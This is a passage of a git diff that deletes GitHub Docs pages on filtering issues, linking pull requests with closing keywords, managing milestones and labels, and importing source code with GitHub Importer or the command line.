-For example, if you filter on issues assigned to Hubot, and sort on the oldest open issues, your URL would update to something like the following: - -```text -/issues?q=state:open+type:issue+assignee:hubot+sort:created-asc -``` - -## Further reading - -* [AUTOTITLE](/search-github/searching-on-github/searching-issues-and-pull-requests) diff --git a/content/issues/tracking-your-work-with-issues/using-issues/index.md b/content/issues/tracking-your-work-with-issues/using-issues/index.md deleted file mode 100644 index bfa3a7b76aaf..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Using issues -intro: 'Learn about using issues in your repositories.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues -children: - - /creating-an-issue - - /adding-sub-issues - - /assigning-issues-and-pull-requests-to-other-github-users - - /editing-an-issue - - /viewing-all-of-your-issues-and-pull-requests - - /browsing-sub-issues - - /filtering-and-searching-issues-and-pull-requests - - /creating-a-branch-for-an-issue - - /linking-a-pull-request-to-an-issue - - /about-slash-commands ---- diff --git a/content/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue.md b/content/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue.md deleted file mode 100644 index 734445ab3974..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Linking a pull request to an issue -intro: 'You can link a pull request or branch to an issue to show that a fix is in progress and to automatically close the issue when the pull request or branch is merged.' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue - - /articles/closing-issues-via-commit-message - - /articles/closing-issues-via-commit-messages - - /articles/closing-issues-using-keywords - - /github/managing-your-work-on-github/closing-issues-using-keywords - - /github/managing-your-work-on-github/linking-a-pull-request-to-an-issue - - /issues/tracking-your-work-with-issues/creating-issues/linking-a-pull-request-to-an-issue - - /issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Link PR to issue ---- - -## About linked issues and pull requests - -You can link an issue to a pull request manually or using a supported keyword in the pull request description, that is, the summary text added by the author when they created the pull request. - -When you link a pull request to the issue the pull request addresses, collaborators can see that someone is working on the issue. - -When you merge a linked pull request into the **default branch** of a repository, its linked issue is automatically closed. For more information about the default branch, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch). - -> [!NOTE] -> The special keywords in a pull request description are interpreted only when the pull request targets the repository's _default_ branch. If the pull request targets _any other branch_, then these keywords are ignored, no links are created, and merging the PR has no effect on the issues. - -## Linking a pull request to an issue using a keyword - -You can link a pull request to an issue by using a supported keyword in the pull request's description or in a commit message. The pull request **must be** on the default branch. - -* `close` -* `closes` -* `closed` -* `fix` -* `fixes` -* `fixed` -* `resolve` -* `resolves` -* `resolved` - -If you use a keyword to reference a pull request comment in another pull request, the pull requests will be linked. Merging the referencing pull request also closes the referenced pull request. - -The syntax for closing keywords depends on whether the issue is in the same repository as the pull request. - -Linked issue | Syntax | Example ---------------- | ------ | ------ -Issue in the same repository | KEYWORD #ISSUE-NUMBER | `Closes #10` -Issue in a different repository | KEYWORD OWNER/REPOSITORY#ISSUE-NUMBER | `Fixes octo-org/octo-repo#100` -Multiple issues | Use full syntax for each issue | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100` - -The keywords can be followed by colons or in uppercase. For example: `Closes: #10`, `CLOSES #10`, or `CLOSES: #10`. - -Only manually linked pull requests can be manually unlinked. To unlink an issue that you linked using a keyword, you must edit the pull request description to remove the keyword. - -You can also use closing keywords in a commit message. The issue will be closed when you merge the commit into the default branch, but the pull request that contains the commit will not be listed as a linked pull request. - -## Manually linking a pull request to an issue using the pull request sidebar - -Anyone with write permissions to a repository can manually link a pull request to an issue from the pull request sidebar. - -You can manually link up to ten issues to each pull request. The issue and pull request must be in the same repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request that you'd like to link to an issue. -{% data reusables.pull_requests.click-development-in-pull-request %} -1. Click the issue you want to link to the pull request. - -## Manually linking a pull request or branch to an issue using the issue sidebar - -Anyone with write permissions to a repository can manually link a pull request or branch to an issue from the issue sidebar. - -You can manually link up to ten issues to each pull request. The issue can be in a different repository than the linked pull request or branch. Your last selected repository will be remembered. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -1. In the list of issues, click the issue that you'd like to link a pull request or branch to. -{% data reusables.pull_requests.click-development-in-issue %} -1. Click the repository containing the pull request or branch you want to link to the issue. -1. Click the pull request or branch you want to link to the issue. -1. Click **Apply**. - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls#issues-and-pull-requests) diff --git a/content/issues/tracking-your-work-with-issues/using-issues/viewing-all-of-your-issues-and-pull-requests.md b/content/issues/tracking-your-work-with-issues/using-issues/viewing-all-of-your-issues-and-pull-requests.md deleted file mode 100644 index c80e66c82ef7..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/viewing-all-of-your-issues-and-pull-requests.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Viewing all of your issues and pull requests -intro: 'The Issues and Pull Request dashboards list the open issues and pull requests you''ve created. You can use them to update items that have gone stale, close them, or keep track of where you''ve been mentioned across all repositories—including those you''re not subscribed to.' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/viewing-all-of-your-issues-and-pull-requests - - /articles/viewing-all-of-your-issues-and-pull-requests - - /github/managing-your-work-on-github/viewing-all-of-your-issues-and-pull-requests - - /issues/tracking-your-work-with-issues/managing-issues/viewing-all-of-your-issues-and-pull-requests - - /issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues -shortTitle: View all your issues & PRs -type: how_to ---- - -Your issue and pull request dashboards are available at the top of any page. On each dashboard, you can filter the list to find issues or pull requests you created, that are assigned to you, or in which you're mentioned. You can also find pull requests that you've been asked to review. - -1. At the top of any page, click {% octicon "issue-opened" aria-label="Issues" %} to see your issues or {% octicon "git-pull-request" aria-label="Pull requests" %} to see your pull requests. - - ![Screenshot of the header of any page on {% data variables.product.github %}. The "Pull requests" and "Issues" icons are outlined in dark orange.](/assets/images/help/navigation/issues-and-prs-new-navigation.png) - -1. Optionally, choose a filter or use the search bar to filter for more specific results. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). - -## Further reading - -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching) diff --git a/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md b/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md deleted file mode 100644 index 2cb86f5a5222..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: About milestones -intro: You can use milestones to track progress on groups of issues or pull requests in a repository. -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/about-milestones - - /articles/about-milestones - - /github/managing-your-work-on-github/about-milestones -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -When you [create a milestone](/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests), you can [associate it with issues and pull requests](/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests). - -To better manage your project, you can [view details about your milestone](/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress). From the milestone page, you can see: - -* A user-provided description of the milestone, which can include information like a project overview, relevant teams, and projected due dates -* The milestone's due date -* The milestone's completion percentage -* The number of open and closed issues and pull requests associated with the milestone -* A list of the open and closed issues and pull requests associated with the milestone - -Additionally, you can edit the milestone from the milestone page and create new issues that are, by default, associated with the milestone. - -## Prioritizing issues and pull requests in milestones - -You can prioritize open issues and pull requests in a milestone by clicking to the left of an issue or pull request's checkbox, dragging it to a new location, and dropping it. - -> [!NOTE] -> If there are more than 500 open issues in a milestone, you won't be able to prioritize issues. diff --git a/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md b/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md deleted file mode 100644 index 4950b57f7151..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Associating milestones with issues and pull requests -intro: You can associate similar issues and pull requests with a milestone to better track their progress. -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/associating-milestones-with-issues-and-pull-requests - - /articles/associating-milestones-with-issues-and-pull-requests - - /github/managing-your-work-on-github/associating-milestones-with-issues-and-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Add to milestones ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Select the checkbox next to the items you want associated with a milestone. - - ![Screenshot of the first two items in a list of issues. To the left of each issue, a checkbox is checked and outlined in dark orange.](/assets/images/help/issues/issues-assign-checkbox.png) -1. Above the list of issues or pull requests, select the **Milestone** dropdown menu. - - ![Screenshot of the list of issues for a repository. In the header above the list, a dropdown menu, labeled "Milestones," is outlined in dark orange.](/assets/images/help/issues/issues-assigning-milestone-dropdown.png) -1. In the "Filter milestones" field, start typing the name of an existing milestone, then click the milestone's name to associate it with the item. - -> [!TIP] -> As you're working on issues and pull requests, you can [track the progress of your milestone](/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress). - -## Further reading - -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone) diff --git a/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md deleted file mode 100644 index ea42d6755641..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Creating and editing milestones for issues and pull requests -intro: You can create a milestone to track progress on groups of issues or pull requests in a repository. -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests - - /articles/creating-milestones-for-issues-and-pull-requests - - /articles/creating-and-editing-milestones-for-issues-and-pull-requests - - /github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Project management -shortTitle: Create & edit milestones -type: how_to ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -{% data reusables.project-management.milestones %} -1. Choose one of these options: - * To create a new milestone, click **New Milestone**. - * To edit a milestone, next to the milestone you want to edit, click **Edit**. - - ![Screenshot of the list of milestones. Within the entry for the "beta release" milestone, a link, labeled "Edit," is outlined in dark orange.](/assets/images/help/repository/edit-milestone.png) -1. Type the milestone's title, description, or other changes, and click **Create milestone** or **Save changes**. Milestones will render Markdown syntax. For more information about Markdown syntax, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). - -## Deleting milestones - -When you delete milestones, issues and pull requests are not affected. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -{% data reusables.project-management.milestones %} -1. Next to the milestone you want to delete, click **Delete**. - -![Screenshot of the list of milestones for a repository. Within the entry for the "beta release" milestone, a red "Delete" link is outlined in orange.](/assets/images/help/repository/delete-milestone.png) diff --git a/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md b/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md deleted file mode 100644 index db893f8a7306..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Filtering issues and pull requests by milestone -intro: 'Issues and pull requests can be filtered based on the milestone they''re associated with. Once you''ve [associated an issue or pull request with a milestone](/articles/associating-milestones-with-issues-and-pull-requests), you can find items based on their milestones. Within a milestone, you can prioritize issues and pull requests.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/filtering-issues-and-pull-requests-by-milestone - - /articles/filtering-issues-and-pull-requests-by-milestone - - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-milestone -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Filter by milestone ---- - -> [!TIP] -> * If you'd rather filter issues and pull requests using the Search bar, you can use the milestone search syntax. For a milestone called My Milestone, the search syntax would be: `milestone:"My Milestone"`. -> * To clear your filter selection, click **Clear current search query, filters, and sorts**. -> * You can also filter issues or pull requests using the {% data variables.product.prodname_cli %}. For more information, see [`gh issue list`](https://cli.github.com/manual/gh_issue_list) or [`gh pr list`](https://cli.github.com/manual/gh_pr_list) in the {% data variables.product.prodname_cli %} documentation. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Select **Milestones** to see a list of all available milestones for the repository. - - ![Screenshot of the list of issues for a repository. Above the list, a "Milestones" button with a signpost icon and "Milestones," is outlined in orange.](/assets/images/help/issues/issues-milestone-button.png) -1. Select the milestone you're interested in from the list. You can view relevant information for the milestone, including all issues and pull requests associated with it, from the milestone page. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/about-milestones). - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests){% ifversion projects-v1 %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board){% endif %} diff --git a/content/issues/using-labels-and-milestones-to-track-work/index.md b/content/issues/using-labels-and-milestones-to-track-work/index.md deleted file mode 100644 index 57a51b1fc3b1..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Using labels and milestones to track work -shortTitle: Labels and milestones -intro: 'Use labels and milestones to categorize and track work on {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues -children: - - /managing-labels - - /about-milestones - - /creating-and-editing-milestones-for-issues-and-pull-requests - - /associating-milestones-with-issues-and-pull-requests - - /filtering-issues-and-pull-requests-by-milestone - - /viewing-your-milestones-progress -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones ---- - diff --git a/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md deleted file mode 100644 index e433db90ccac..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Managing labels -intro: 'You can classify {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %} by creating, editing, applying, and deleting labels.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-repo %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/managing-labels - - /articles/managing-Labels - - /articles/labeling-issues-and-pull-requests - - /github/managing-your-work-on-github/labeling-issues-and-pull-requests - - /articles/about-labels - - /github/managing-your-work-on-github/about-labels - - /articles/creating-and-editing-labels-for-issues-and-pull-requests - - /articles/creating-a-label - - /github/managing-your-work-on-github/creating-a-label - - /articles/customizing-issue-labels - - /articles/applying-labels-to-issues-and-pull-requests - - /github/managing-your-work-on-github/applying-labels-to-issues-and-pull-requests - - /articles/editing-a-label - - /github/managing-your-work-on-github/editing-a-label - - /articles/deleting-a-label - - /github/managing-your-work-on-github/deleting-a-label - - /github/managing-your-work-on-github/managing-labels -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Project management -type: how_to ---- -## About labels - -You can manage your work on {% data variables.product.github %} by creating labels to categorize {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %}. You can apply labels in the repository the label was created in. Once a label exists, you can use the label on any {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} within that repository. - -## About default labels - -{% data variables.product.github %} provides default labels in every new repository. You can use these default labels to help create a standard workflow in a repository. - -Label | Description ---- | --- -`bug` | Indicates an unexpected problem or unintended behavior -`documentation` | Indicates a need for improvements or additions to documentation -`duplicate` | Indicates similar {% ifversion fpt or ghec %}issues, pull requests, or discussions{% else %}issues or pull requests{% endif %} -`enhancement` | Indicates new feature requests -`good first issue` | Indicates a good issue for first-time contributors -`help wanted` | Indicates that a maintainer wants help on an issue or pull request -`invalid` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} is no longer relevant -`question` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} needs more information -`wontfix` | Indicates that work won't continue on an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} - -Default labels are included in every new repository when the repository is created, but you can edit or delete the labels later. - -Issues with the `good first issue` label are used to populate the repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). - -Organization owners can customize the default labels for repositories in their organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization). - -## Creating a label - -Anyone with write access to a repository can create a label. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -{% data reusables.project-management.labels %} -1. To the right of the search field, click **New label**. -{% data reusables.project-management.name-label %} -{% data reusables.project-management.label-description %} -{% data reusables.project-management.label-color-randomizer %} -{% data reusables.project-management.create-label %} - -## Applying a label - -Anyone with triage access to a repository can apply and dismiss labels. - -1. Navigate to the {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %}. -1. In the right sidebar, click **Labels**, then click a label. - -## Editing a label - -Anyone with write access to a repository can edit existing labels. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -{% data reusables.project-management.labels %} -{% data reusables.project-management.edit-label %} -{% data reusables.project-management.name-label %} -{% data reusables.project-management.label-description %} -{% data reusables.project-management.label-color-randomizer %} -{% data reusables.project-management.save-label %} - -## Deleting a label - -Anyone with write access to a repository can delete existing labels. - -Deleting a label will remove the label from issues and pull requests. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -{% data reusables.project-management.labels %} -{% data reusables.project-management.delete-label %} - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests) -* [AUTOTITLE](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization){% ifversion fpt or ghec %} -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels){% endif %} -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#using-emoji) diff --git a/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md b/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md deleted file mode 100644 index 1e169771dfe8..000000000000 --- a/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Viewing your milestone's progress -intro: 'In order to track your milestones, you''ll want to get a better understanding of how many open issues and pull requests are remaining.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/viewing-your-milestones-progress - - /articles/viewing-your-milestone-s-progress - - /articles/viewing-your-milestones-progress - - /github/managing-your-work-on-github/viewing-your-milestones-progress -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: View progress to milestone ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. In the upper-right corner, click **Milestones**. - - ![Screenshot of the list of issues for a repository. Above the list, a button, labeled with a signpost icon and "Milestones," is outlined in orange.](/assets/images/help/issues/issues-milestone-button.png) -1. Click the milestone you wish to see more information about. - -To better manage your project, you can prioritize issues or pull requests within a milestone. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/about-milestones#prioritizing-issues-and-pull-requests-in-milestones). - -## Further reading - -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests) -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone) diff --git a/content/migrations/importing-source-code/index.md b/content/migrations/importing-source-code/index.md deleted file mode 100644 index f99e14a6658a..000000000000 --- a/content/migrations/importing-source-code/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Importing source code -intro: "To import source code only, you can use{% ifversion fpt or ghec %} {% data variables.product.prodname_importer %} or{% endif %} command line tools." -versions: - fpt: '*' - ghec: '*' - ghes: '*' -# topics: -redirect_from: - - /categories/67/articles - - /categories/importing - - /categories/importing-your-projects-to-github - - /github/importing-your-projects-to-github - - /articles/importing-an-external-git-repository - - /articles/importing-from-bitbucket - - /articles/importing-an-external-git-repo - - /articles/importing-your-project-to-github - - /articles/importing-source-code-to-github - - /github/importing-your-projects-to-github/importing-source-code-to-github -children: - - /using-github-importer - - /using-the-command-line-to-import-source-code -shortTitle: Import source code ---- \ No newline at end of file diff --git a/content/migrations/importing-source-code/using-github-importer/about-github-importer.md b/content/migrations/importing-source-code/using-github-importer/about-github-importer.md deleted file mode 100644 index 7a7c90e8d1ee..000000000000 --- a/content/migrations/importing-source-code/using-github-importer/about-github-importer.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: About GitHub Importer -intro: "If your source code is stored on another Git-based hosting service, you can move the code to {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_importer %}." -redirect_from: - - /articles/about-github-importer - - /github/importing-your-projects-to-github/about-github-importer - - /github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer - - /articles/updating-commit-author-attribution-with-github-importer - - /github/importing-your-projects-to-github/updating-commit-author-attribution-with-github-importer - - /github/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer - - /migrations/importing-source-code/using-github-importer/updating-commit-author-attribution-with-github-importer -versions: - fpt: '*' - ghec: '*' ---- - -## About {% data variables.product.prodname_importer %} - -{% data variables.product.prodname_importer %} is a tool that quickly imports Git repositories from other hosting services to {% data variables.product.prodname_dotcom_the_website %}. - -To get started with {% data variables.product.prodname_importer %}, see [AUTOTITLE](/migrations/importing-source-code/using-github-importer/importing-a-repository-with-github-importer#importing-a-repository-with-github-importer). - -## Capabilities and limitations of {% data variables.product.prodname_importer %} - -* {% data variables.product.prodname_importer %} imports the source code and commit history of a repository. It does not import other associated data from the hosting service, such as issues and pull requests. -* {% data variables.product.prodname_importer %} is only available on {% data variables.product.prodname_dotcom_the_website %}. -* During an import, you can authenticate with your remote repository. The repository must be accessible from the public internet. If the repository is hosted on a private network, {% data variables.product.prodname_importer %} won't be able to access it. -* {% data variables.product.prodname_importer %} does not support repositories that use version control systems other than Git, such as Mercurial, Subversion, or Team Foundation Version Control (TFVC). For more information about alternatives to {% data variables.product.prodname_importer %}, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/about-source-code-imports-using-the-command-line). -* Repositories and individual files on {% data variables.product.prodname_dotcom %} are subject to size limits. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github). -* {% data variables.product.prodname_importer %} does not move Git Large File Storage (LFS) objects from the source repository to the target repository. If you use Git LFS, you will need to either convert the Git LFS objects to regular files tracked by Git before running the migration, or move the Git LFS objects to the new repository separately after running the migration. - -## Further reading - -* [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) diff --git a/content/migrations/importing-source-code/using-github-importer/importing-a-repository-with-github-importer.md b/content/migrations/importing-source-code/using-github-importer/importing-a-repository-with-github-importer.md deleted file mode 100644 index a783dcfd416a..000000000000 --- a/content/migrations/importing-source-code/using-github-importer/importing-a-repository-with-github-importer.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Importing a repository with GitHub Importer -intro: 'If you have a project hosted on another Git-based hosting service, you can quickly import it to {% data variables.product.prodname_dotcom %} using the {% data variables.product.prodname_importer %} tool.' -redirect_from: - - /articles/importing-from-other-version-control-systems-to-github - - /articles/importing-a-repository-with-github-importer - - /github/importing-your-projects-to-github/importing-a-repository-with-github-importer - - /github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer -versions: - fpt: '*' - ghec: '*' -shortTitle: Import a repository ---- - -## About repository imports with {% data variables.product.prodname_importer %} - -{% data variables.product.prodname_importer %} imports the source code and commit history of Git repositories hosted on external hosting services. For more information about the capabilities and limitations of {% data variables.product.prodname_importer %}, see [AUTOTITLE](/migrations/importing-source-code/using-github-importer/about-github-importer#capabilities-and-limitations-of-github-importer). - -{% data variables.product.github %} uses the email address in the commit header to link a commit to a {% data variables.product.github %} user. To correctly attribute commits in an imported repository, users will need to add the email address associated with their commits to their {% data variables.product.github %} account. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). - -## Importing a repository with {% data variables.product.prodname_importer %} - -When you import a repository using the {% data variables.product.prodname_importer %}, a new repository will be created. If you already have an existing repository you want to use, you can instead add your local repository to {% data variables.product.prodname_dotcom %} using Git. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github#importing-a-git-repository-with-the-command-line). - -1. In the upper-right corner of any page on {% data variables.product.prodname_dotcom_the_website %}, click {% octicon "plus" aria-label="Create new..." %}, and then click **Import repository**. - - ![Screenshot of the top-right corner of any page on {% data variables.product.prodname_dotcom %}. A plus icon is highlighted with an orange outline.](/assets/images/help/importer/import-repository.png) - -1. On the "Import your project to {% data variables.product.prodname_dotcom %}" page, enter the URL for the remote repository hosted on another platform. -1. If the source repository is private, enter credentials for authentication. {% data variables.product.prodname_importer %} will use the credentials to perform a `git clone` operation on the source repository. -1. Choose an owner and a name for the new repository on {% data variables.product.prodname_dotcom %}. -1. Choose the visibility of the new repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). -1. Click **Begin import**. - -You'll be redirected to a "Preparing your new repository" page, where you can track the status of your import. You'll receive an email when the repository has been completely imported. diff --git a/content/migrations/importing-source-code/using-github-importer/index.md b/content/migrations/importing-source-code/using-github-importer/index.md deleted file mode 100644 index 8b027369aecf..000000000000 --- a/content/migrations/importing-source-code/using-github-importer/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Using GitHub Importer -intro: 'To import repositories that are publicly accessible, you can use {% data variables.product.prodname_importer %}.' -redirect_from: - - /get-started/importing-your-projects-to-github/importing-source-code-to-github -versions: - fpt: '*' - ghec: '*' -children: - - /about-github-importer - - /importing-a-repository-with-github-importer -shortTitle: GitHub Importer ---- diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/about-source-code-imports-using-the-command-line.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/about-source-code-imports-using-the-command-line.md deleted file mode 100644 index 5208d8ceac4f..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/about-source-code-imports-using-the-command-line.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: About source code imports using the command line -intro: 'You can use command line tools to import source code and its revision history to {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: About source code imports ---- - -{% data reusables.repositories.importing-context %} - -{% ifversion fpt or ghec %} - -If you want to import a Git repository to {% data variables.product.prodname_dotcom_the_website %}, and the repository is stored on a code hosting service that is publicly available on the internet, we recommend using {% data variables.product.prodname_importer %}. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-github-importer). - -If your source code is not tracked by Git or is not publicly available, you can use the command line instead. - -{% else %} - -You can use the command line to import source code and, if the code has been tracked using a version control system like Git, the code's revision history. - -{% endif %} - -* To import a Git repository that is stored on a code hosting service{% ifversion fpt or ghec %} that is not accessible from the public internet{% endif %}, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line). -* To import code that is only stored locally, and is either tracked by Git or not tracked by any version control system, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github). -* To import code that is tracked by any version control system other than Git, first convert the repository to Git, then push the Git repository to {% data variables.product.github %}. -{% ifversion fpt or ghec %} - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) - * 